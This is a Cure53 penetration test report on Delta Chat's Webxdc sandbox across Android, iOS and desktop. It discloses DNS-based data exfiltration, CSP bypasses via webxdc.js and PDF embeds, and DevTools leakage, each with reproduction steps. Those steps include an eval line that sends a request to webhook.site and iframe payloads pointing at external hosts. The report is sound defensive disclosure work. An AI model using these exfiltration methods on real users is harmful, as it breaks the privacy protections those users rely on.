Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest- & Review-Report Delta Chat Webxdc 02.-03.2023

Cure53, Dr.-Ing. M. Heiderich, M. Pedhapati, P. Papurt, L. Hu

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

This report details the scope, results, and conclusory summaries of a penetration test and privacy leak audit against Delta Chat's Webxdc implementations for Android, iOS, and desktop, as well as a Webxdc specification review. The security assessment was requested by the Merlinux GmbH and Delta Chat team in February 2023 and initiated by Cure53 in March 2023, namely in the timeframe between CW11 and CW13. A total of twelve days were allocated to fulfill this project's coverage expectations.

The testing conducted for this audit was divided into two distinct Work Packages (WPs) for execution efficiency, as follows:

- **WP1**: Verification of Delta Chat Webxdc privacy assurances
- **WP2**: Detailed security review against Webxdc specification

Cure53 was provided with an example web application, sources, specifications, threat models, and any alternative means of access required to ensure a smooth review completion. For this purpose, the selected methodology was white-box and a team comprising four skillmatched senior testers was assigned to the project's preparation, execution, and finalization. All preparatory actions were completed in March 2023, namely in CW10, to guarantee testing could proceed without hindrance or delay.

Communications were facilitated via a dedicated, shared Delta Chat channel deployed to combine all workspaces, thereby creating an optimal collaborative working environment. All participatory personnel from both parties were invited to partake throughout the test preparations and discussions. In light of this, communications proceeded smoothly on the whole. The scope was well-prepared and transparent, no noteworthy roadblocks were encountered throughout testing, and cross-team queries remained minimal as a result.

Cure53 gave frequent status updates concerning the test and any related findings, whilst simultaneously offering prompt queries and receiving efficient, effective answers from the maintainers. Live reporting was offered and subsequently implemented via the aforementioned Delta Chat channel.

Concerning the findings, the testing team achieved widespread coverage over the WP1 and WP2 scope items, detecting a total of seven. Five of the findings were categorized as security vulnerabilities, whilst the remaining two were deemed general weaknesses with lower exploitation potential.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The overall yield of findings is moderate in comparison with similarly scoped audits, which reflects favorably on the Delta Chat Webxdc's perceived security offering. However, the testing team noted the persistence of several *High* severity weaknesses. Notably, most of these primarily pertained to the desktop application, which pinpoints this area as a priority beneficiary for hardening improvement.

Conversely, the mobile applications proved sufficiently resilient against a multitude of attack and threat scenarios, with evidence to corroborate the viewpoint that an excellent security foundation has already been established in this regard.

All in all, Cure53 is pleased to confirm that Delta Chat's Webxdc has made commendable progress toward achieving a first-rate security & privacy standard. Nevertheless, the numerous flaws and best-practice recommendations highlighted in this report attest to the opportunities for security growth, particularly in relation to the desktop application. As such, one can strongly recommend addressing and mitigating all reported findings to elevate the components in scope to an exemplary standard.

The report will now shed more light on the scope and testing setup as well as provide a comprehensive breakdown of the available materials. Subsequently, the report will list all findings identified in chronological order, starting with the detected vulnerabilities and followed by the general weaknesses unearthed. Each finding will be accompanied by a technical description and Proof of Concepts (PoCs) where applicable, plus any relevant mitigatory or preventative advice to action.

In summation, the report will finalize with a conclusion in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the Delta Chat Webxdc implementations, giving high-level hardening advice where applicable.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Pentest & privacy leak audits against Delta Chat Webxdc Implementation & Spec**
  - **WP1:** Verification of Delta Chat Webxdc privacy assurances
    - **Example web app:**
      - https://github.com/webxdc/hello/
    - **Focus areas:**
      - Tests to confirm that the Webxdc apps do not leak any usage or contact information, even to an app's developer side.
      - Tests to confirm that data cannot be sent out via any channel other than *webxdc.sendUpdate()*.
      - The utilized WebViews disable *internet access*, subsequently the following statements were tested against:
        - *XMLHttpRequest()* and related methods should not function.
        - Access to non-embedded code or html via *src=""* should be blocked.
        - External links should not function (i.e. via leakable *param* instances).
    - **Android App:**
      - **Sources:**
        - https://github.com/deltachat/deltachat-android
      - **Relevant files:**
        - *./src/org/thoughtcrime/securesms/WebViewActivity.java*
        - *./src/org/thoughtcrime/securesms/WebxdcActivity.java*
        - *./res/raw/webxdc.js*
        - *./res/raw/webxdc_wrapper.html*
        - *./res/raw/sandboxed_iframe_rtcpeerconnection_check.html*
    - **iOS App:**
      - **Sources:**
        - https://github.com/deltachat/deltachat-ios
      - **Relevant files:**
        - *./deltachat-ios/Controller/WebViewViewController.swift*
        - *./deltachat-ios/Controller/WebxdcViewController.swift*
    - **Desktop App:**
      - **Sources:**
        - https://github.com/deltachat/deltachat-desktop
      - **Relevant files:**
        - *./src/main/deltachat/webxdc.ts*
        - *./src/renderer/system-integration/webxdc.ts*
        - *./static/webxdc-preload.js*
        - *./static/webxdc.d.ts*
        - *./static/webxdc_wrapper.html*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

- **WP2:** Detailed security review against Webxdc specification
  - **Specification for web apps' API description:**
    - https://docs.webxdc.org/spec.html
  - **Threat model description:**
    - **Primary aspects:**
      - The threat model for Delta Chat web apps represents a state-level attacker able to circulate an app - e.g. a game or a collaboration tool, such as a notepad - then exfiltrate data produced inside the web app, including all edits or user contact information (display names, email addresses, etc.).
    - **Secondary aspects :**
      - An attacker able to circulate an app that appears to represent a payment or alternative login page, then exfiltrate obtained credentials.
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., *XDC-01-001*) to facilitate any future follow-up correspondence.

XDC-01-001 WP1: Data exfiltration via desktop app DNS prefetch *(High)*

Testing confirmed that an attacker can circumvent the strict CSP to access the network and exfiltrate data using DNS prefetch on the desktop app. Notably, this attack scenario does not impact the application's Android and iOS versions.

In HTML, a syntax exists instructing browsers to resolve specific DNS requests in advance, thus reducing resource loading times and improving performance. A malicious adversary can abuse this mechanism to exfiltrate data, as follows:

Steps to reproduce:

1. Navigate to *https://dig.pm/* and click *Get Sub Domain*.
2. Download the following PoC Webxdc: *https://cure53.de/exchange/538976732786734/dns-checker.xdc*.
3. Install downloaded Webxdc in Delta Chat desktop application.
4. Open the Webxdc app and input the subdomain from Step 1.
5. Click *Add <link dns-prefetch>*.
6. Click *Get Results* on *https://dig.pm/*.
7. Observe the DNS lookup record.

To mitigate this issue, Cure53 advises inserting a local proxy to the Chromium utilized by Electron, which would allow DNS traffic to pass through the proxy and block DNS queries on the proxy side, thereby avoiding information leakage via DNS. Despite the fact that Chromium is planning to integrate CSP rules to DNS prefetch in the future, one can still advise blocking requests via a self-configured proxy until this feature is deployed.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

XDC-01-002 WP1: Full CSP bypass via desktop app *webxdc.js* (*High*)

Whilst auditing the source code, the observation was made that the CSP response header is not set for the *webxdc.js* file on the desktop app. Furthermore, usage of an iframe to load *webxdc.js* and access to the window object in *webxdc.js* page from *index.html* is permitted, the latter due to same-origin status.

Notably, the CSP header initiates for *index.html* only, not *webxdc.js.* As a result, a malicious adversary can bypass the entire CSP by accessing the window object on *webxdc.js* page to load any external resources and send requests.

Affected file:
https://github.com/deltachat/deltachat-desktop/blob/master/src/main/deltachat/webxdc.ts

Affected code:

```
} else if (filename === 'webxdc.js') {
  const displayName = Buffer.from(
    displayname || addr || 'unknown'
  ).toString('base64')
  const selfAddr = Buffer.from(addr || 'unknown@unknown').toString(
    'base64'
  )

  // initializes the preload script, the actual implementation of `window.we-
bxdc` is found there: static/webxdc-preload.js
  callback({
    mimeType: Mime.lookup(filename) || '',
    data: Buffer.from(
      `window.parent.webxdc_internal.setup("${selfAddr}","${displayName}")
      window.webxdc = window.parent.webxdc`
    ),
  })
}
```

Steps to reproduce:

1. Download the following PoC Webxdc: *https://cure53.de/exchange/538976732786734/csp-bypass.xdc*.
2. Install the downloaded Webxdc in the Delta Chat desktop application.
3. Open the Webxdc app.
4. Observe the iframe with an external page (i.e. the Cure53 website).

To mitigate this issue, Cure53 advises integrating a CSP response header to every resource - including *webxdc.js* - to ensure any iframe bypass attempt is effectively blocked. In addition, one can recommend inserting the *X-Frame-Options: DENY* response header if the resource is not intended for iframe embedding.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

XDC-01-003 WP1: Data exfiltration via Android app DNS lookup *(High)*

Testing confirmed that an Android device will still query DNS in the following scenarios, despite the *webSettings.setBlockNetworkLoads(false)* configuration and strict CSP blocking all network access and navigations:

Scenario #1:

```
<iframe src="http://example.com"></iframe>
```

Scenario #2:

```
top.location = 'http://example.com'
```

Consequently, a malicious adversary can exfiltrate data via DNS lookup on the Android app. Notably, this attack vector does not impact the application's desktop and iOS versions.

Steps to reproduce:

1. Navigate to *https://dig.pm/* and click *Get Sub Domain*.
2. Download the following PoC Webxdc: *https://cure53.de/exchange/538976732786734/dns-checker.xdc*.
3. Install downloaded Webxdc in Delta Chat Android application.
4. Open the Webxdc app and input the subdomain from Step 1. A prefix can be added to prevent DNS cache, such as *test1.e7a7e302.dns.1433.eu.org*.
5. Click either *Update top.location* or *Add iframe*.
6. Click *Get Results* on *https://dig.pm/*.
7. Observe the DNS lookup record.

To mitigate this issue, Cure53 advises adopting similar measures to those stipulated in ticket XDC-01-001 by integrating a proxy to Android WebView and blocking DNS query requests on said proxy to prevent information leakage, though further research is required to determine the feasibility of this solution. In addition, if Android WebView is unable to implement this feature, the developer team could consider using packages forked from Chromium, such as Bromite[1], or completely different rendering engines such as GeckoView. This would require feasibility reviews to determine the optimality of each approach.

[1] https://github.com/bromite/bromite

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

XDC-01-004 WP1: Data exfiltration via desktop app DevTools *(Medium)*

Testing confirmed that DevTools is enabled on the Webxdc popup. Due to the fact that the Webxdc page can ask DevTools to request arbitrary URLs, the page is able to deanonymize a user when they open DevTools.

The page can achieve this via a number of different approaches, such as evaluating *JS/CSS* with a *sourceMappingURL*, logging styles to the console with a CSS background URL, and similar. For example, a malicious Webxdc app could request the user to *press F12 to start execution* and exfiltrate information in the process.

Steps to reproduce:

1. Leverage a service such as *https://webhook.site* to create a URL that logs incoming requests.
2. Open DevTools on a Webxdc popup by pressing F12.
3. Execute the following code in the console:

```
eval('//# sourceMappingURL=https://webhook.site/your-url')
```

Affected file:
https://github.com/deltachat/deltachat-desktop/blob/master/static/webxdc-preload.js

Affected code:

```
const keydown_handler = ev => {
  if (ev.key == 'F12') {
    ipcRenderer.invoke('webxdc.toggle_dev_tools')
```

To mitigate this issue, Cure53 recommends removing the end-user ability to easily open DevTools on Webxdc popups. DevTools is built in adherence to a standard web security model, enabling privacy leakage via a myriad of alternate methods. In addition, one could require users to set a command line flag, environment variable, or similar to access DevTools, which would help to prevent this behavior.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

XDC-01-005 WP1: Full CSP bypass via desktop app PDF embed *(High)*

Testing confirmed that Chrome ignores the PDF HTTP responses' *Content-Security-Policy* header, due to the fact that it replaces the HTTP response with the native PDF viewer embed, which is trusted to run regardless of the CSP implementation.

However, a malicious Webxdc app can include a PDF in its bundle, load the PDF file in a same-origin iframe, then request URLs by executing JavaScript in the context of said iframe.

Steps to reproduce:

1. Download the following PoC file: *https://m.gnk.io/VgfySfS37uVnLfh2/xdc-01-005.xdc*.
2. Send and run the Webxdc application in Delta Chat desktop.
3. Observe the iframe with an external page (i.e. the Cure53 website).

To mitigate this issue, Cure53 recommends refusing to serve any resources on the Webxdc protocol with *content-type: application/pdf*. Additionally, *x-content-type-options: nosniff* must be set on all Webxdc protocol responses to prevent the browser from interpreting files without a given *content-type* as PDF files via mime sniffing[2].

[2] https://mimesniff.spec.whatwg.org/#identifying-a-resource-with-an-unknown-mime-type

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

XDC-01-006 WP2: Spoofable recommendation for *selfAddr* in payload *(Info)*

The Webxdc specification purports a recommendation concerning the inclusion of the *window.webxdc.selfAddr* value in update payloads. Apps can then compare the address value in each payload with the current *selfAddr* value to determine whether the update was sent by the current user.

This is considered a risk-laden recommendation, since the address value included in payloads is spoofable and apps that display trusted user interface elements based on payload values are easily susceptible to manipulation.

Affected spec section:
selfAddr - Email address of the current account. Especially useful if you want to differentiate between different peers - just send the address along with the payload, and, if needed, compare the payload addresses against *selfAddr* later on.

To mitigate this issue, Cure53 recommends providing Webxdc apps with an authenticated method of determining the update sender's identity. Consequently, apps will then be able to rely on this value to display trusted UI elements.

XDC-01-007 WP1: Lack of CSP header for iOS app *webxdc-update.json* *(Info)*

Whilst auditing the source code, the observation was made that the CSP response header is not set for the *webxdc-update.json* file on the iOS app. This issue is similar to XDC-01-002, though the severity impact here was downgraded to *Info* due to the fact that the established content-blocking rules restrict any requests in the event of a CSP bypass.

Affected file:
https://github.com/deltachat/deltachat-ios/blob/master/deltachat-ios/Controller/WebxdcViewController.swift

Affected code:
```
if url.path == "/webxdc-update.json" || url.path == "webxdc-update.json" {
    let lastKnownSerial = Int(url.query ?? "0") ?? 0
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
    let data = Data(
        dcContext.getWebxdcStatusUpdates(msgId: messageId, lastKnownSerial:
lastKnownSerial).utf8)
    let response = URLResponse(url: url, mimeType: "application/json", expected-
ContentLength: data.count, textEncodingName: "utf-8")

    urlSchemeTask.didReceive(response)
    urlSchemeTask.didReceive(data)
    urlSchemeTask.didFinish()
    return
}
```

To mitigate this issue, Cure53 recommends inserting a CSP response header for every resource, including *webxdc-update.json*. A unit test can also be integrated to ensure future alterations cannot break the resulting fix.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

The impressions gained during this project & report - which details and extrapolates on all findings identified during the CW11-13 testing against Delta Chat's Webxdc implementations by the Cure53 team - will now be discussed at length. To summarize, the confirmation can be made that the components under scrutiny have garnered a relatively positive impression; evident security strengths were observed, though some opportunities for security improvement were observed.

To initiate testing, an examination of the Webxdc specification was performed. Generally speaking, this area was astutely constructed and stringently adheres to the Webxdc platform's security implications. However, the specification's recommendation to include the value of the *webxdc.selfAddr* property in payloads and compare it inside the Webxdc app garnered concern, due to the fact that a malicious client can spoof the value (see XDC-01-006).

Next, the platform's desktop, Android, and iOS implementations were all subjected to rigorous evaluation. The provided code was thoroughly tested, with numerous methods by which one could exfiltrate data from a sandboxed Webxdc app considered. In light of this, the web platform's potential susceptibility to data exfiltration was examined, with verification of the implementations utilized to block this access.

The iOS implementation is based on WebKit WebViews, which is considered the most secure Webxdc execution due to usage of the WebKit blocking-content rule system. This provided a secondary layer of security to protect against internet access from Webxdc apps. The Android implementation is based on Chromium WebViews. Similarly, this aspect was also deemed impressively safeguarded due to *setBlockNetworkLoads* usage, which integrates another supplementary defense-in-depth measure.

Additional WebView options set by the Delta Chat Android app ensured confused deputy attacks cannot be initiated against the Android permission system. The desktop implementation is based on Electron and was found to persist the majority of the security flaws encountered by the testing team. One particularly erroneous behavior was caused by Chromium's removal of the Content-Security-Policy header from PDF responses, which allows malicious Webxdc apps to bypass the CSP and request arbitrary URLs by loading a PDF in an iframe (see XDC-01-005).

Elsewhere, the Android, iOS, and desktop platforms' Webxdc sandbox implementation was highly scrutinized for associated weaknesses. All of these components proved adequately resilient from a security viewpoint, primarily owing to CSP usage and other platform-specific APIs that serve to block external network requests.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

However, testing confirmed that some files do not add CSP response headers when the app returns local resources, which allows Webxdc to bypass CSP using iframes. To address this issue, the developer team should consider altering the code to avoid early returns and ensure every resource integrates a CSP response header, as documented in tickets XDC-01-002 and XDC-01-007 respectively. In addition, despite the fact that external network requests are blocked, DNS queries can still be leveraged to bypass restrictions on Android and desktop platforms. In this respect, DNS was deemed an attractive attack surface that must be addressed at the earliest possible convenience; please refer to tickets XDC-01-001 and XDC-01-003 for further guidance.

Regarding all platforms assessed, the Android WebView offers the smallest range of customization, with bug fixes requiring a greater time frame to implement. If Android WebView cannot meet the necessary privacy requirements, Cure53 advises searching for alternative solutions, evaluating their feasibility, and subsequently selecting the most appropriate option. Furthermore, the Delta Chat desktop app renders DevTools easily accessible to end users. Since websites can instigate sending requests to arbitrary URLs via DevTools, this facilitates the ability for malicious Webxdc apps to exfiltrate data, as documented in ticket XDC-01-004.

In conclusion, following the completion of the security audit, Cure53 detected sufficient security implementation regarding the Delta Chat Webxdc platform on Android and iOS. By adding subsidiary content-blocking systems, these aspects successfully resisted almost all attack approaches initiated by the testing team. Only one vulnerability was identified on Android, whilst none pertaining to iOS were found. All further findings were mitigated.

Contrastingly, the desktop implementation persisted a plethora of significant security flaws, including three *High* severity issues and one *Medium* flaw. As such, Cure53 can only conclude that this area requires essential hardening improvement. The developer team should allocate ample resources toward conducting follow-up mitigations as soon as possible to negate any associated risk. Lastly, the Webxdc specification was warmly received on the whole, considering the application architecture's adherence to fundamental security paradigms, as well as the absence of any severe vulnerabilities concerning its integration on each supported platform. Only one *Info* severity issue was raised in relation to the specification, which Cure53 recommends rectifying in tandem with all other follow-up actions stipulated in this report.

Cure53 would like to thank Björn Petersen, Holger Krekel, Wofwca, and Simon from the Delta Chat team for their excellent project coordination, support, and assistance, both before and during this assignment, as well as OTF for the sponsorship of this exercise.